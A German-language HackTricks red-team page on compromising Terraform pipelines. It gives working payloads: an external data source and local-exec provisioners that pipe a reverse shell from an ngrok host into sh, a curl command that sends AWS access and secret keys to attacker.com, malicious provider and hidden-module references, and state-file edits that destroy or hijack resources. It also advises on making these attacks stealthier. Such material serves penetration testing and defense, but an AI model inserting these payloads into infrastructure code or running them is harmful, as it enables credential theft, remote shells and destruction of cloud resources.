Terraform Security

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Aus der Dokumentation:

HashiCorp Terraform ist ein Infrastruktur als Code-Tool, mit dem Sie sowohl Cloud- als auch lokale Ressourcen in menschenlesbaren Konfigurationsdateien definieren können, die Sie versionieren, wiederverwenden und teilen können. Sie können dann einen konsistenten Workflow verwenden, um Ihre gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann Low-Level-Komponenten wie Compute, Storage und Netzwerkressourcen sowie High-Level-Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.

Wie funktioniert Terraform?

Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Diensten über deren Anwendungsprogrammierschnittstellen (APIs). Anbieter ermöglichen es Terraform, mit praktisch jeder Plattform oder jedem Dienst mit einer zugänglichen API zu arbeiten.

HashiCorp und die Terraform-Community haben bereits mehr als 1700 Anbieter geschrieben, um Tausende verschiedener Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Sie finden alle öffentlich verfügbaren Anbieter im Terraform-Register, einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr.

Der Kernworkflow von Terraform besteht aus drei Phasen:

  • Schreiben: Sie definieren Ressourcen, die sich über mehrere Cloud-Anbieter und Dienste erstrecken können. Sie könnten beispielsweise eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleicher bereitzustellen.

  • Planen: Terraform erstellt einen Ausführungsplan, der die Infrastruktur beschreibt, die es basierend auf der vorhandenen Infrastruktur und Ihrer Konfiguration erstellen, aktualisieren oder zerstören wird.

  • Anwenden: Nach Genehmigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und berücksichtigt dabei alle Ressourcenabhängigkeiten. Wenn Sie beispielsweise die Eigenschaften eines VPC aktualisieren und die Anzahl der virtuellen Maschinen in diesem VPC ändern, wird Terraform den VPC neu erstellen, bevor es die virtuellen Maschinen skaliert.

Terraform Labor

Installieren Sie einfach Terraform auf Ihrem Computer.

Hier haben Sie einen Leitfaden und hier haben Sie die beste Möglichkeit, Terraform herunterzuladen.

RCE in Terraform

Terraform hat keine Plattform, die eine Webseite oder einen Netzwerkservice freigibt, den wir aufzählen können. Daher ist der einzige Weg, Terraform zu kompromittieren, die Fähigkeit zu haben, Terraform-Konfigurationsdateien hinzuzufügen/zu ändern.

Trotzdem ist Terraform eine sehr sensible Komponente zum Kompromittieren, da es privilegierten Zugriff auf verschiedene Standorte haben wird, um ordnungsgemäß zu funktionieren.

Der Hauptweg für einen Angreifer, das System zu kompromittieren, auf dem Terraform ausgeführt wird, besteht darin, das Repository zu kompromittieren, das Terraform-Konfigurationen speichert, da sie irgendwann interpretiert werden.

Tatsächlich gibt es Lösungen, die terraform plan/apply automatisch ausführen, nachdem ein PR erstellt wurde, wie zum Beispiel Atlantis:

pageAtlantis Security

Wenn es Ihnen gelingt, eine Terraform-Datei zu kompromittieren, gibt es verschiedene Möglichkeiten, wie Sie RCE durchführen können, wenn jemand terraform plan oder terraform apply ausführt.

Terraform plan

Terraform plan ist der am häufigsten verwendete Befehl in Terraform, und Entwickler/Lösungen, die Terraform verwenden, rufen ihn die ganze Zeit auf. Daher ist der einfachste Weg, RCE zu erhalten, sicherzustellen, dass Sie eine Terraform-Konfigurationsdatei vergiften, die beliebige Befehle in einem terraform plan ausführt.

Verwendung eines externen Anbieters

Terraform bietet den external-Anbieter an, der eine Möglichkeit bietet, zwischen Terraform und externen Programmen zu kommunizieren. Sie können die external-Datenquelle verwenden, um während eines plan beliebigen Code auszuführen.

Das Einfügen von etwas Ähnlichem in eine Terraform-Konfigurationsdatei wird einen Reverse-Shell ausführen, wenn terraform plan ausgeführt wird:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Verwendung eines benutzerdefinierten Anbieters

Ein Angreifer könnte einen benutzerdefinierten Anbieter an das Terraform-Register senden und ihn dann dem Terraform-Code in einem Feature-Zweig hinzufügen (Beispiel von hier):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Der Anbieter wird im init heruntergeladen und führt den bösartigen Code aus, wenn plan ausgeführt wird.

Ein Beispiel finden Sie unter https://github.com/rung/terraform-provider-cmdexec

Verwendung eines externen Verweises

Beide genannten Optionen sind nützlich, aber nicht sehr unauffällig (die zweite ist unauffälliger, aber komplexer als die erste). Sie können diesen Angriff sogar auf eine unauffälligere Weise durchführen, indem Sie diesen Vorschlägen folgen:

  • Anstatt den Reverse-Shell direkt in die Terraform-Datei einzufügen, können Sie eine externe Ressource laden, die die Reverse-Shell enthält:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Du kannst den Rev Shell-Code unter https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules finden.

  • Verwende im externen Ressourcenbereich die ref-Funktion, um den Terraform Rev Shell-Code in einem Branch im Repository zu verstecken, beispielsweise: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform Apply wird ausgeführt, um alle Änderungen anzuwenden. Du kannst es auch missbrauchen, um RCE zu erhalten, indem du eine bösartige Terraform-Datei mit local-exec** injizierst**. Du musst nur sicherstellen, dass ein Payload wie die folgenden in der main.tf-Datei endet:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Folgen Sie den Vorschlägen aus der vorherigen Technik, um diesen Angriff auf unauffälligere Weise unter Verwendung externer Referenzen durchzuführen.

Geheimnisauszüge

Sie können geheime Werte, die von Terraform verwendet werden, ausgeben lassen, indem Sie terraform apply ausführen und etwas Ähnliches zur Terraform-Datei hinzufügen:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Ausnutzung von Terraform-Zustandsdateien

Falls Sie Schreibzugriff auf Terraform-Zustandsdateien haben, aber den Terraform-Code nicht ändern können, bietet diese Forschung einige interessante Möglichkeiten, um von der Datei zu profitieren:

Löschen von Ressourcen

Es gibt 2 Möglichkeiten, Ressourcen zu zerstören:

  1. Fügen Sie eine Ressource mit einem zufälligen Namen in die Zustandsdatei ein, die auf die tatsächliche zu zerstörende Ressource zeigt

Da Terraform feststellen wird, dass die Ressource nicht existieren sollte, wird sie zerstört (gemäß der angegebenen tatsächlichen Ressourcen-ID). Beispiel von der vorherigen Seite:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Ändern Sie die Ressource, die gelöscht werden soll, so ab, dass ein Update nicht möglich ist (so wird sie gelöscht und neu erstellt)

Für eine EC2-Instanz reicht es aus, den Typ der Instanz zu ändern, damit Terraform sie löscht und neu erstellt.

RCE

Es ist auch möglich, einen benutzerdefinierten Anbieter zu erstellen und einfach einen der Anbieter in der Terraform-Statusdatei durch den bösartigen Anbieter zu ersetzen oder eine leere Ressource mit dem bösartigen Anbieter hinzuzufügen. Beispiel aus der Originalforschung:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Schwarzerlisteten Anbieter ersetzen

Falls Sie auf eine Situation stoßen, in der hashicorp/external auf die schwarze Liste gesetzt wurde, können Sie den external-Anbieter neu implementieren, indem Sie Folgendes tun. Hinweis: Wir verwenden eine Abspaltung des externen Anbieters, veröffentlicht von https://registry.terraform.io/providers/nazarewk/external/latest. Sie können auch Ihre eigene Abspaltung oder Neuimplementierung veröffentlichen.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Dann können Sie external wie gewohnt verwenden.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Audit-Tools

  • tfsec: tfsec verwendet die statische Analyse Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen.

  • terascan: Terrascan ist ein statischer Code-Analyzer für Infrastruktur als Code.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated